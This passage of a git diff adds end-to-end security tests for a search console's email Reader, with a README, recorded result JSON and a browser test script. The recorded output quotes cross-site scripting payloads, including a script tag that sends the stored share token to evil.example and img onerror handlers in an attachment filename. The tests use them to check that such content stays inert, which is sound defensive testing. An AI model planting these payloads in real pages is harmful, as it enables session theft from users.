results instead of 2 because the Reader searches more fields.++## The folder++`mkcorpus.py` writes 10 files: six `.eml` messages (two with a PDF attached —+this repository's own briefs from `landing/resources/`), two standalone PDFs and+two markdown notes that link to each other and to one of the PDFs.++One message is hostile in every header an outsider controls: a `<script>` and an+`<img onerror>` in the subject, an `<svg onload>` in the sender's display name,+an HTML body with `<body onload>`, `<script>` and a `javascript:` iframe, and a+PDF attachment **named** `"><img src=x onerror=…>.pdf`. Each payload, if it ran,+would set a flag and send `sessionStorage['xerj.share']` to another origin.++## What the run does and asserts++1. `xerj brain <folder> --url http://localhost:<port> --data-dir … --no-open`+ boots the node, indexes, detects links, and prints the one-time passkey+ setup link.+2. **Operator.** Chrome enrols a passkey with a DevTools virtual authenticator,+ then opens Corpus, the Reader on the hostile email (and searches it, so the+ engine's real highlight fragments come back), and Discover.+3. **Guest.** The script mints an API key with `read` on the email index and on+ the brain's edges index, asks the engine what that key can and cannot do,+ writes `{api_key, index, brain, expires_at, label}` to `sessionStorage`, and+ opens the console: Reader on the hostile email, a click on the+ hostile-named attachment, then Corpus.+4. In both: no payload executed, no dialog opened, no request left the origin,+ the Content-Security-Policy reported no violation, and the document-derived+ DOM contains no forbidden element, no `on*` / `src` / `style` attribute and+ no `href` other than an in-app `#/` route. For the guest, additionally: the+ tab made no request to any `/_xerj-console/api/…` endpoint.++## Why the operator half maps `localhost:9200`++The console's WebAuthn relying-party origin is fixed at+`http://localhost:9200`, so a node on any other port refuses passkey enrolment+([#935](https://github.com/xerj-org/xerj/issues/935)). To run the operator half+at all on a test port, that half uses a second Chrome started with+`--host-resolver-rules=MAP localhost:9200 127.0.0.1:<port>`. It first fetches a+file only this branch's bundle serves and stops if the answer is not ours.+Then it proves the mapped origin is the node **this run** booted: it creates an+index with a random name on its own node, asks for it through the mapped+origin, deletes it, and stops unless that answered `200`+(`operatorNodeIsOurs` in the output). Only after that is a passkey enrolled.+The guest half needs no sign-in and uses the real origin.++## What the recorded run shows++See [`live-e2e.json`](./live-e2e.json) for the full output (2026-09-18, the+`feat/console-corpus-reader` branch, Chrome 152); screenshots of the same run+are in [`shots/`](./shots/). In short:++- `xerj brain` wrote one dataset, `ax-docs` — 81 records from the 10 files —+ and a brain, `casefile`, with 33 links. The hostile message's file alone+ produced a file record, a message record and one record per section of its+ attached PDF's pages.+- The operator's Corpus home shows that dataset's card from the catalog; the+ Reader shows the hostile email as text with its attachment listed once;+ Discover's index list, facets and date histogram come from the index's own+ fields. The operator's graph panel reports the refusal+ ([#936](https://github.com/xerj-org/xerj/issues/936)) instead of "no links".+- The guest key gets `200` on its own index's `_search` / `_mapping` and on the+ brain's `ego`, and `403` on another index, on `autoindex-catalog` and on a+ write; the console API answers it `401`.+- The guest's tab requested only `_search`, `_mapping` and `ego` (plus the+ browser's own `/favicon.ico` for the seed page, without a key), and made 0+ requests to the console API. Its graph panel shows 2 linked records for the+ hostile email — both `same_dir` links of the email's *file* (`04.eml`,+ `06.eml`); the message record itself has none.+- The guest's Corpus view counts the shared index from the index itself: 81+ records, 6 emails, 43 attachment records.++++## The review's edge cases, replayed on a real node++[`review-repro/`](./review-repro/) is a second, smaller run written for the+correctness review of this change. `mkrepro.py` builds a folder in which every+file makes one defect visible: an email with a 300-page PDF followed by a text+attachment, one with two attachments both named `scan.pdf`, one with no+`Message-ID` header, two files that share a `Message-ID`, ordinary subjects+(which autoindex types `keyword`), and a `Makefile` / `.ini` pair whose text+lands in `text` instead of `body`.++```sh+./review-repro/run.sh /path/to/xerj [port] # default 9560 (+1 REST, +2 gRPC)+```++[`review-repro.json`](./review-repro/review-repro.json) (2026-09-19) records+three things from one node: **truth** (what the engine holds, by aggregation),+**before** (the requests the first version of the Reader made, replayed+verbatim) and **after** (what the bundled console shows in headless Chrome as a+guest). In short:++| | before | after |+| --- | --- | --- |+| email with `aaa-big.pdf` (300 page records) + `zzz-last.txt` | 301 attachment records matched, 200 read, 1 attachment listed | `ATTACHMENTS · 2`, both listed |+| two attachments named `scan.pdf` | 1 listed | 2 listed; the second opens its own text |+| email with no `Message-ID` | no attachment list | 2 attachments; each links back to the email |+| two files sharing a `Message-ID` | each listed both files' attachments | each lists its own |+| `MATCH Lunch` (subject `Lunch on Friday?`, typed `keyword`) | 0 results | 1 |+| `MATCH Duplicate` / `nomid` / `PHRASE Lunch on` | 0 / 0 / 0 | 2 / 4 / 1 |+| the catalog's own sample (`match` on `text`) | catalog body 1 hit, Reader 0 | Reader 1 |+| `TERM zebrafish` | ran `match_all` | `NOT SEARCHED`, with the syntax |+| guest card, 9 emails of which 1 has no `Message-ID` | `emails 8` | `emails 9` |++### A mailbox file++A mailbox (mbox) holds many messages in one file, so every record of it shares+one `ax_file`. The mbox ingest in [#949](https://github.com/xerj-org/xerj/pull/949)+tells the messages apart by a locator prefix, `m<offset>-` (`m812-msg-s0`,+`m812-att0-p3-s0`), and the Reader narrows its join to that prefix.+`mkmbox.py` writes one mailbox with five messages; `run-mbox.sh` indexes it and+`mbox-repro.mjs` records what the Reader shows. The binary has to carry the+mbox extractor: a binary built from this branch alone indexes no mailbox+messages, and the script stops.++```sh+./review-repro/run-mbox.sh /path/to/xerj [port] # default 9570 (+1 REST, +2 gRPC)+```++[`mbox-repro.json`](./review-repro/mbox-repro.json) (2026-09-19) is a run of a+binary built from this branch merged locally with #949's head `69b0e8ba` (the+merge was a throwaway and was not pushed). In short:++| | joined on `ax_file` alone | this branch |+| --- | --- | --- |+| attachments listed for each of the 5 messages | all 5 names of the mailbox, for every message | each message's own: `report.pdf`, `notes.txt` / none / `scan.pdf` ×2 / `nomid.txt` / `invoice.pdf` |+| `FROM EMAIL` of `invoice.pdf` | `Quarterly report 2026` (the mailbox's first message) | `Invoice 9120 attached` |+| guest card, 5 messages, 1 without a `Message-ID` | 4 by `email_message_id` | `emails 5` |++With #949, `match` on `body` for `Quarterly` finds the message (1 hit),+because #949 puts the subject at the head of the first body section, while+`match` on the keyword `email_subject` finds 0. The Reader searches both.diff --git a/docs/usecases/console-reader/live-e2e-2026-09-19.json b/docs/usecases/console-reader/live-e2e-2026-09-19.jsonnew file mode 100644index 000000000..e7a03048e--- /dev/null+++ b/docs/usecases/console-reader/live-e2e-2026-09-19.json@@ -0,0 +1,181 @@+{+ "indices": [+ ".xerj-memory-casefile-edges:34",+ ".xerj_alert_fires:0",+ ".xerj_alert_rules:0",+ ".xerj_api_tokens:0",+ ".xerj_audit:0",+ ".xerj_cluster_state:0",+ ".xerj_connections:0",+ ".xerj_dashboards:17",+ ".xerj_idp_config:0",+ ".xerj_magic_links:1",+ ".xerj_passkeys:0",+ ".xerj_prefs:0",+ ".xerj_sessions:0",+ ".xerj_users:0",+ ".xerj_views:0",+ "autoindex-catalog:12",+ "ax-docs:81"+ ],+ "datasets": [+ {+ "index": "ax-docs",+ "records": 81,+ "formats": [+ "eml",+ "pdf",+ "txt-prose"+ ],+ "semantic_field": "body"+ }+ ],+ "hostileRecords": [+ {+ "id": "fb81902053ee81ad7a7641a706968407",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…"+ },+ {+ "id": "881498573b3ff47d8dc1098b870f0adb",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 1+ },+ {+ "id": "f8ad704a27be53c4795ab2e75aefb5f4",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 2+ },+ {+ "id": "6a591e7deb3e46c37ab589901f82bfd5",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 3+ },+ {+ "id": "45994aa9740e02eada10c8c3d46f2ce7",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 3+ },+ {+ "id": "690ba24c2cdf4d53dc298f1058d1e8d3",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 3+ },+ {+ "id": "f5beeb39db7c6b1e6d0aa2446d8e0fa6",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 4+ },+ {+ "id": "bae349fdcfc9fa6d6527c40b39a19282",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 5+ },+ {+ "id": "0c978ca8c573e040934d319cca28ebbb",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 6+ },+ {+ "id": "d10137ce7317204abb3d5f3bd0229f53",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 7+ }+ ],+ "engineHighlight": [+ "Quarterly invoice reminder",+ "Overdue invoice <script>window.__xerjPwned=(window.__xerjPwned||0)+1;fetch('https://evil.example/k?'+sessionStorage.getItem('xerj.share'))</script><im..."+ ],+ "operatorNodeIsOurs": true,+ "operator": {+ "landedOn": "#/second-brain?brain=casefile",+ "corpusCards": [+ "ax-docs | 81 records10 files2.8 MB· last run"+ ],+ "corpusPill": "LIVE · Xerj · UPDATED JUST NOW · 5.6MS",+ "reader": {+ "title": "Overdue invoice <script>window.__xerjPwned=(window.__xerjPwned||0)+1;fetch('http",+ "attachments": [+ "\"><img src=x onerror=window.__xerjPwned=(window.__xerjPwned|"+ ],+ "marks": 5,+ "listHead": "3 RESULTS · CLICK TO OPEN",+ "graph": "LINKED RECORDS · FROM THE BRAINThe graph API refused this console session (HTTP 401). On an auth-enabled engine the graph needs an engine API key; records and search still work.",+ "pill": "LIVE · ax-docs · UPDATED JUST NOW · 0MS"+ },+ "discover": {+ "eyebrow": [+ "RESULTS · ax-docs",+ "DATE_HISTOGRAM · EMAIL_DATE · 1D",+ "REQUEST · POST /ax-docs/_search · AS SENT"+ ],+ "rows": 25,+ "error": null,+ "facets": [+ "_INDEX",+ "ATTACHMENT_CONTENT_TYPE",+ "EMAIL_FROM",+ "EMAIL_TO"+ ],+ "indexButtons": [+ "*",+ "ax-docs"+ ]+ }+ },+ "operatorInert": {+ "pwned": 0,+ "cspViolations": [],+ "dialogs": 0,+ "foreignRequests": []+ },+ "guestKey": {+ "ownSearch": 200,+ "ownMapping": 200,+ "ego": 200,+ "otherIndexSearch": 403,+ "catalogSearch": 403,+ "write": 403,+ "consoleMe": 401+ },+ "guest": {+ "banner": "Guest · read-only · Casefile (live e2e) · expires 2026-09-19 22:23 UTC (in 59m)",+ "nav": [+ "CORPUS",+ "READER"+ ],+ "title": "Overdue invoice <script>window.__xerjPwned=(window.__xerjPwned||0)+1;fetch('http",+ "attachments": [+ "\"><img src=x onerror=window.__xerjPwned=(window.__xerjPwned|"+ ],+ "marks": 5,+ "graph": "LINKED RECORDS · FROM THE BRAINSAME FOLDER · 2←FILE04.eml→FILE06.eml2 linked records · brain casefile · 1 hop · 2 of them are links of the file this record came from (inbox/05.eml) — file-level detectors link files, not the records inside them",+ "attachmentPage": {+ "eyebrow": "PDF ATTACHMENT · PAGE 1",+ "title": "\"><img src=x onerror=window.__xerjPwned=(window.__xerjPwned||0)+1;fetc",+ "bodyChars": 553+ },+ "corpus": "DATASETax-docs81 recordsemails 6attachment records 43formats eml 55, pdf 22, txt-prose 4OPEN IN READER",+ "dataRequests": [+ "GET /favicon.ico",+ "GET /ax-docs/_mapping",+ "POST /ax-docs/_search",+ "GET /_graph/casefile/ego"+ ],+ "consoleApiRequests": 0+ },+ "guestInert": {+ "pwned": 0,+ "cspViolations": [],+ "dialogs": 0,+ "foreignRequests": []+ }+}diff --git a/docs/usecases/console-reader/live-e2e.json b/docs/usecases/console-reader/live-e2e.jsonnew file mode 100644index 000000000..e5e2ce2ad--- /dev/null+++ b/docs/usecases/console-reader/live-e2e.json@@ -0,0 +1,180 @@+{+ "indices": [+ ".xerj-memory-casefile-edges:34",+ ".xerj_alert_fires:0",+ ".xerj_alert_rules:0",+ ".xerj_api_tokens:0",+ ".xerj_audit:0",+ ".xerj_cluster_state:0",+ ".xerj_connections:0",+ ".xerj_dashboards:17",+ ".xerj_idp_config:0",+ ".xerj_magic_links:1",+ ".xerj_passkeys:0",+ ".xerj_prefs:0",+ ".xerj_sessions:0",+ ".xerj_users:0",+ ".xerj_views:0",+ "autoindex-catalog:12",+ "ax-docs:81"+ ],+ "datasets": [+ {+ "index": "ax-docs",+ "records": 81,+ "formats": [+ "eml",+ "pdf",+ "txt-prose"+ ],+ "semantic_field": "body"+ }+ ],+ "hostileRecords": [+ {+ "id": "95fc700035d605c0021e6fa3becb84ae",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…"+ },+ {+ "id": "2fddddedd14d434e995a989dbb9eab2b",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 1+ },+ {+ "id": "a5a6ce878f7bba9034632d43dee64382",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 2+ },+ {+ "id": "fb004b5213fa2f16b8fb2291ca2425ba",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 3+ },+ {+ "id": "9aa4858afbab59455179ad5d59b403eb",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 3+ },+ {+ "id": "8efe4f75b3ed1a452fa9693dbb2377f8",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 3+ },+ {+ "id": "101566bf001692901759a383da497a73",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 4+ },+ {+ "id": "31e7ca6200b8310a96d3b39dbeebc522",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 5+ },+ {+ "id": "4196299ec030bb19b9a9c51d2184b243",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 6+ },+ {+ "id": "3afdd1d5e0c252f70317c752d2370731",+ "subject": "Overdue invoice <script>window.__xerjPwned=(wind…",+ "attachment": "\"><img src=x onerror=window.__xe…",+ "page": 7+ }+ ],+ "engineHighlight": [+ "Quarterly invoice reminder",+ "Overdue invoice <script>window.__xerjPwned=(window.__xerjPwned||0)+1;fetch('https://evil.example/k?'+sessionStorage.getItem('xerj.share'))</script><im..."+ ],+ "operator": {+ "landedOn": "#/second-brain?brain=casefile",+ "corpusCards": [+ "ax-docs | 81 records10 files2.8 MB"+ ],+ "corpusPill": "LIVE · Xerj · UPDATED JUST NOW · 19.8MS",+ "reader": {+ "title": "Overdue invoice <script>window.__xerjPwned=(window.__xerjPwned||0)+1;fetch('http",+ "attachments": [+ "\"><img src=x onerror=window.__xerjPwned=(window.__xerjPwned|"+ ],+ "marks": 3,+ "listHead": "2 RESULTS · CLICK TO OPEN",+ "graph": "LINKED RECORDS · FROM THE BRAINThe graph API refused this console session (HTTP 401). On an auth-enabled engine the graph needs an engine API key; records and search still work.",+ "pill": "LIVE · ax-docs · UPDATED JUST NOW · 0MS"+ },+ "discover": {+ "eyebrow": [+ "RESULTS · ax-docs",+ "DATE_HISTOGRAM · EMAIL_DATE · 1D",+ "REQUEST · POST /ax-docs/_search · AS SENT"+ ],+ "rows": 25,+ "error": null,+ "facets": [+ "_INDEX",+ "ATTACHMENT_CONTENT_TYPE",+ "EMAIL_FROM",+ "EMAIL_TO"+ ],+ "indexButtons": [+ "*",+ "ax-docs"+ ]+ }+ },+ "operatorInert": {+ "pwned": 0,+ "cspViolations": [],+ "dialogs": 0,+ "foreignRequests": []+ },+ "guestKey": {+ "ownSearch": 200,+ "ownMapping": 200,+ "ego": 200,+ "otherIndexSearch": 403,+ "catalogSearch": 403,+ "write": 403,+ "consoleMe": 401+ },+ "guest": {+ "banner": "Guest · read-only · Casefile (live e2e) · expires 2026-09-18 09:43 UTC (in 59m)",+ "nav": [+ "CORPUS",+ "READER"+ ],+ "title": "Overdue invoice <script>window.__xerjPwned=(window.__xerjPwned||0)+1;fetch('http",+ "attachments": [+ "\"><img src=x onerror=window.__xerjPwned=(window.__xerjPwned|"+ ],+ "marks": 3,+ "graph": "LINKED RECORDS · FROM THE BRAINSAME FOLDER · 2→FILE06.eml←FILE04.eml2 linked records · brain casefile · 1 hop · 2 of them are links of the file this record came from (inbox/05.eml) — file-level detectors link files, not the records inside them",+ "attachmentPage": {+ "eyebrow": "PDF ATTACHMENT · PAGE 1",+ "title": "\"><img src=x onerror=window.__xerjPwned=(window.__xerjPwned||0)+1;fetc",+ "bodyChars": 553+ },+ "corpus": "DATASETax-docs81 recordsemails 6attachment records 43formats eml 55, pdf 22, txt-prose 4OPEN IN READER",+ "dataRequests": [+ "GET /favicon.ico",+ "GET /ax-docs/_mapping",+ "POST /ax-docs/_search",+ "GET /_graph/casefile/ego"+ ],+ "consoleApiRequests": 0+ },+ "guestInert": {+ "pwned": 0,+ "cspViolations": [],+ "dialogs": 0,+ "foreignRequests": []+ }+}diff --git a/docs/usecases/console-reader/live-e2e.mjs b/docs/usecases/console-reader/live-e2e.mjsnew file mode 100644index 000000000..37f5548b2--- /dev/null+++ b/docs/usecases/console-reader/live-e2e.mjs@@ -0,0 +1,176 @@+// Live end-to-end: the real `xerj` binary on :9550 (auth ON), a real folder of+// email + PDFs indexed by `xerj brain`, then real Chrome:+// A. operator: passkey setup (virtual authenticator) → corpus home → reader+// B. guest: a scoped read-only API key in sessionStorage['xerj.share']+// Usage: node live.mjs <origin> <admin-key> <setup-link|-> <shots-dir>+import { writeFileSync } from 'node:fs';+import { launch, sleep } from '../../../xerj-ux/test/browser/cdp.mjs';+import { census, assertCensusInert } from '../../../xerj-ux/test/browser/harness.mjs';++const [origin, adminKey, setupLink, shots] = process.argv.slice(2);+const out = {};+const api = async (method, path, body, key = adminKey) => {+ const r = await fetch(origin + path, { method, headers: { authorization: `ApiKey ${key}`, 'content-type': 'application/json' }, body: body ? JSON.stringify(body) : undefined });+ const text = await r.text();+ let json = null; try { json = JSON.parse(text); } catch { /* */ }+ return { status: r.status, json, text };+};+const shot = async (page, name) => {+ await page.send('Emulation.setDeviceMetricsOverride', { width: 1440, height: 1200, deviceScaleFactor: 1, mobile: false });+ await sleep(600);+ const { data } = await page.send('Page.captureScreenshot', { format: 'png' });+ writeFileSync(`${shots}/${name}.png`, Buffer.from(data, 'base64'));+};+const pwned = async (page, label, base = origin) => {+ const f = await page.eval(`({ pwned: window.__xerjPwned || 0, csp: window.__cspViolations || [] })`);+ const foreign = page.requests.map((r) => r.url).filter((u) => /^https?:/.test(u) && !u.startsWith(base + '/') && !/^https:\/\/fonts\.(googleapis|gstatic)\.com\//.test(u));+ out[label] = { pwned: f.pwned, cspViolations: f.csp, dialogs: page.dialogs.length, foreignRequests: foreign };+ if (f.pwned || f.csp.length || page.dialogs.length || foreign.length) throw new Error(`${label}: NOT INERT ${JSON.stringify(out[label])}`);+};++// ---- what did `xerj brain` write? -------------------------------------+const cat = await api('GET', '/_cat/indices?format=json');+out.indices = (cat.json || []).map((i) => `${i.index}:${i['docs.count']}`).sort();+const catalog = await api('POST', '/autoindex-catalog/_search', { query: { term: { doc_kind: 'dataset' } }, size: 50 });+out.datasets = (catalog.json?.hits?.hits || []).map((h) => ({ index: h._source.index_name, records: h._source.record_count, formats: h._source.formats, semantic_field: h._source.semantic_field }));+const emailIndex = out.datasets.find((d) => (d.formats || []).includes('eml'))?.index;+if (!emailIndex) throw new Error('no email dataset in the catalog: ' + JSON.stringify(out.datasets));+const hostile = await api('POST', `/${emailIndex}/_search`, { query: { term: { email_message_id: '[email protected]' } }, size: 10 } /* the extractor stores the id without its <> */);+const clip = (v, n) => (typeof v === 'string' ? v.slice(0, n) + '…' : v);+out.hostileRecords = (hostile.json?.hits?.hits || []).map((h) => ({ id: h._id, subject: clip(h._source.email_subject, 48), attachment: clip(h._source.attachment_name, 32), page: h._source.page }));+const hostileEmail = hostile.json.hits.hits.find((h) => !h._source.attachment_name);+const hostileAtt = hostile.json.hits.hits.find((h) => h._source.attachment_name);+if (!hostileEmail || !hostileAtt) throw new Error('hostile email/attachment not indexed: ' + hostile.text.slice(0, 400));+// highlight fragments from the REAL engine, both spellings, on the ES-compat route+const hl = await api('POST', `/${emailIndex}/_search`, { query: { match: { email_subject: 'invoice' } }, size: 3, highlight: { pre_tags: [''], post_tags: [''], pre_tag: '', post_tag: '', fields: { email_subject: {} } } });+out.engineHighlight = (hl.json?.hits?.hits || []).map((h) => h.highlight?.email_subject?.[0]).filter(Boolean).slice(0, 2);++const browser = await launch();+// The console's WebAuthn relying-party origin is fixed at http://localhost:9200+// (xerj-console-api/src/state.rs, RpConfig::default) — a node on any other+// port refuses passkey enrolment ("relying party origin does not match").+// So the OPERATOR half runs in a second Chrome that resolves localhost:9200 to+// this run's node. Nothing is sent to whatever really listens on :9200: the+// first request is a GET that only THIS branch's bundle answers, and the run+// stops if it does not.+const port = new URL(origin).port;+const opOrigin = 'http://localhost:9200';+const opBrowser = await launch({ extraArgs: [`--host-resolver-rules=MAP localhost:9200 127.0.0.1:${port}`], debugPort: Number(process.env.XERJ_TEST_CDP_PORT2) || 0 });+try {+ // ================= A. operator =====================================+ if (setupLink && setupLink !== '-') {+ const page = await opBrowser.newPage();+ await page.goto(`${opOrigin}/_xerj-console/src/boot.js`);+ const isOurs = await page.eval(`document.body.innerText.includes('guest-app.js')`);+ if (!isOurs) throw new Error('host mapping is not in effect — refusing to touch the node on :9200');+ // …and prove it is THIS run's node, not merely one built from this branch:+ // an index with a random name is created on the node this script booted+ // (direct origin, its own admin key) and must be visible through the mapped+ // origin. It is removed again before any page that lists indices opens.+ const nonce = `e2e-own-${Math.random().toString(36).slice(2, 12)}`;+ const made = await api('PUT', `/${nonce}`, { settings: { number_of_shards: 1 } });+ if (made.status >= 300) throw new Error(`could not create the ownership probe index: ${made.text.slice(0, 200)}`);+ const seenThroughMap = await page.eval(`fetch(${JSON.stringify(`/${nonce}/_count`)}, { headers: { authorization: ${JSON.stringify(`ApiKey ${adminKey}`)} } }).then((r) => r.status).catch(() => 0)`);+ await api('DELETE', `/${nonce}`);+ if (seenThroughMap !== 200) throw new Error(`the node behind ${opOrigin} is not the node this run booted (probe index answered ${seenThroughMap}) — refusing to enrol a passkey on it`);+ out.operatorNodeIsOurs = true;+ await page.send('WebAuthn.enable');+ await page.send('WebAuthn.addVirtualAuthenticator', { options: { protocol: 'ctap2', transport: 'internal', hasResidentKey: true, hasUserVerification: true, isUserVerified: true, automaticPresenceSimulation: true } });+ await page.goto(opOrigin + new URL(setupLink).pathname + new URL(setupLink).hash);+ await page.waitFor(`document.getElementById('btn-enrol') && !document.getElementById('btn-enrol').disabled && document.readyState === 'complete'`, { label: 'setup page' });+ await sleep(800);+ await page.eval(`(document.getElementById('email').value = '[email protected]', document.getElementById('display').value = 'Op', document.getElementById('btn-enrol').click(), true)`);+ await page.waitFor(`location.pathname === '/_xerj-console/' && !!document.querySelector('[data-nav-status]')`, { timeoutMs: 30000, label: 'console after passkey enrolment' });+ out.operator = { landedOn: await page.eval('location.hash') };++ await page.setHash('#/corpus');+ await page.waitFor(`document.querySelector('[data-safe-mount="corpus"] [data-corpus-index]')`, { label: 'corpus cards', timeoutMs: 20000 });+ const corpus = await census(page, '[data-safe-mount="corpus"]');+ assertCensusInert(corpus, 'live operator corpus');+ out.operator.corpusCards = await page.eval(`[...document.querySelectorAll('[data-corpus-index]')].map((c) => c.getAttribute('data-corpus-index') + ' | ' + (c.querySelector('.cp-card__nums')?.textContent || '').replace(/\\s+/g, ' '))`);+ out.operator.corpusPill = await page.eval(`document.querySelector('[data-nav-status]').textContent`);+ await shot(page, 'live-operator-corpus');++ await page.setHash(`#/reader?index=${encodeURIComponent(emailIndex)}&id=${encodeURIComponent(hostileEmail._id)}`);+ await page.waitFor(`document.querySelector('[data-shape="email"]') && document.querySelectorAll('[data-rd-block="attachments"] .rd-att').length >= 1 && !/Walking brain/.test(document.querySelector('.rd-graph').textContent)`, { label: 'hostile email + attachment + graph state', timeoutMs: 20000 });+ await page.eval(`(() => { const i = document.querySelector('.rd-q'); i.value = 'invoice'; i.dispatchEvent(new KeyboardEvent('keydown', { key: 'Enter', bubbles: true })); return true; })()`);+ await page.waitFor(`document.querySelectorAll('.rd-card').length >= 1 && !/SEARCHING/.test(document.querySelector('[data-rd-slot="list-head"]').textContent)`, { label: 'search results' });+ const rd = await census(page, '[data-safe-mount="reader"]');+ assertCensusInert(rd, 'live operator reader');+ out.operator.reader = {+ title: await page.eval(`document.querySelector('.rd-title').textContent.slice(0, 80)`),+ attachments: await page.eval(`[...document.querySelectorAll('[data-rd-block="attachments"] .rd-att__name')].map((a) => a.textContent.slice(0, 60))`),+ marks: rd.marks,+ listHead: await page.eval(`document.querySelector('[data-rd-slot="list-head"]').textContent`),+ graph: await page.eval(`document.querySelector('.rd-graph').textContent.replace(/\\s+/g, ' ').slice(0, 260)`),+ pill: await page.eval(`document.querySelector('[data-nav-status]').textContent`),+ };+ await shot(page, 'live-operator-reader');++ await page.setHash('#/discover');+ await page.waitFor(`document.querySelector('.hits-list .hit') || document.querySelector('[data-hits-state="error"]')`, { label: 'discover', timeoutMs: 20000 });+ out.operator.discover = await page.eval(`({ eyebrow: [...document.querySelectorAll('.panel .key')].map((k) => k.textContent).filter((t) => /RESULTS|DATE_HISTOGRAM|REQUEST/.test(t)), rows: document.querySelectorAll('.hits-list .hit').length, error: document.querySelector('[data-hits-state="error"]')?.textContent || null, facets: [...document.querySelectorAll('.facet > .key')].map((k) => k.textContent), indexButtons: [...document.querySelectorAll('[data-search-index]')].map((b) => b.textContent) })`);+ await shot(page, 'live-operator-discover');+ await pwned(page, 'operatorInert', opOrigin);+ await page.close();+ }++ // ================= B. guest =========================================+ const brain = process.env.BRAIN || 'casefile';+ const mint = await api('POST', '/_security/api_key', { name: 'e2e-guest', expiration: '1h', role_descriptors: { guest: { indices: [{ names: [emailIndex, `.xerj-memory-${brain}-edges`], privileges: ['read'] }] } } });+ if (mint.status !== 200) throw new Error('mint failed: ' + mint.text.slice(0, 300));+ const guestKey = mint.json.encoded;+ // what the key can and cannot do, asked of the REAL engine+ const others = (cat.json || []).map((i) => i.index).filter((n) => n !== emailIndex && !n.startsWith('.'));+ out.guestKey = {+ ownSearch: (await api('POST', `/${emailIndex}/_search`, { size: 0 }, guestKey)).status,+ ownMapping: (await api('GET', `/${emailIndex}/_mapping`, null, guestKey)).status,+ ego: (await api('GET', `/_graph/${brain}/ego?node=${encodeURIComponent(hostileEmail._id)}&hops=1&direction=both&limit=5&include_nodes=true&include_evidence=false`, null, guestKey)).status,+ otherIndexSearch: others[0] ? (await api('POST', `/${others[0]}/_search`, { size: 0 }, guestKey)).status : 'n/a',+ catalogSearch: (await api('POST', '/autoindex-catalog/_search', { size: 0 }, guestKey)).status,+ write: (await api('PUT', `/${emailIndex}/_doc/evil`, { x: 1 }, guestKey)).status,+ consoleMe: (await fetch(origin + '/_xerj-console/api/v1/me', { headers: { authorization: `ApiKey ${guestKey}` } })).status,+ };++ const page = await browser.newPage();+ const seen = [];+ await page.goto(`${origin}/_xerj-console/src/theme-boot.js`); // any same-origin document, to seed sessionStorage+ const record = { api_key: guestKey, index: emailIndex, brain, expires_at: new Date(Date.now() + 3600_000).toISOString(), label: 'Casefile (live e2e)' };+ await page.eval(`sessionStorage.setItem('xerj.share', ${JSON.stringify(JSON.stringify(record))}), true`);+ page.requests.length = 0;+ await page.goto(`${origin}/_xerj-console/#/reader?index=${encodeURIComponent(emailIndex)}&id=${encodeURIComponent(hostileEmail._id)}&brain=${brain}`);+ await page.waitFor(`document.querySelector('[data-shape="email"]') && document.querySelectorAll('[data-rd-block="attachments"] .rd-att').length >= 1 && !/Walking brain/.test(document.querySelector('.rd-graph').textContent)`, { label: 'guest: hostile email', timeoutMs: 20000 });+ await page.eval(`(() => { const i = document.querySelector('.rd-q'); i.value = 'invoice'; i.dispatchEvent(new KeyboardEvent('keydown', { key: 'Enter', bubbles: true })); return true; })()`);+ await page.waitFor(`document.querySelectorAll('.rd-card mark').length >= 1`, { label: 'guest: highlighted results from the real engine' });+ const g = await census(page, '[data-guest-main]');+ assertCensusInert(g, 'live guest reader');+ out.guest = {+ banner: await page.eval(`document.querySelector('[data-guest-banner-text]').textContent`),+ nav: await page.eval(`[...document.querySelectorAll('nav a')].map((a) => a.textContent)`),+ title: await page.eval(`document.querySelector('.rd-title').textContent.slice(0, 80)`),+ attachments: await page.eval(`[...document.querySelectorAll('[data-rd-block="attachments"] .rd-att__name')].map((a) => a.textContent.slice(0, 60))`),+ marks: g.marks,+ graph: await page.eval(`document.querySelector('.rd-graph').textContent.replace(/\\s+/g, ' ').slice(0, 300)`),+ };+ await shot(page, 'live-guest-reader');+ // open the hostile-named attachment by clicking it+ await page.eval(`(document.querySelector('[data-rd-block="attachments"] .rd-att').click(), true)`);+ await page.waitFor(`document.querySelector('[data-shape="attachment"]') && /FROM EMAIL/.test(document.querySelector('[data-guest-main]').textContent)`, { label: 'guest: attachment page' });+ out.guest.attachmentPage = await page.eval(`({ eyebrow: document.querySelector('.rd-eyebrow').textContent, title: document.querySelector('.rd-title').textContent.slice(0, 70), bodyChars: document.querySelector('.rd-body').textContent.length })`);+ 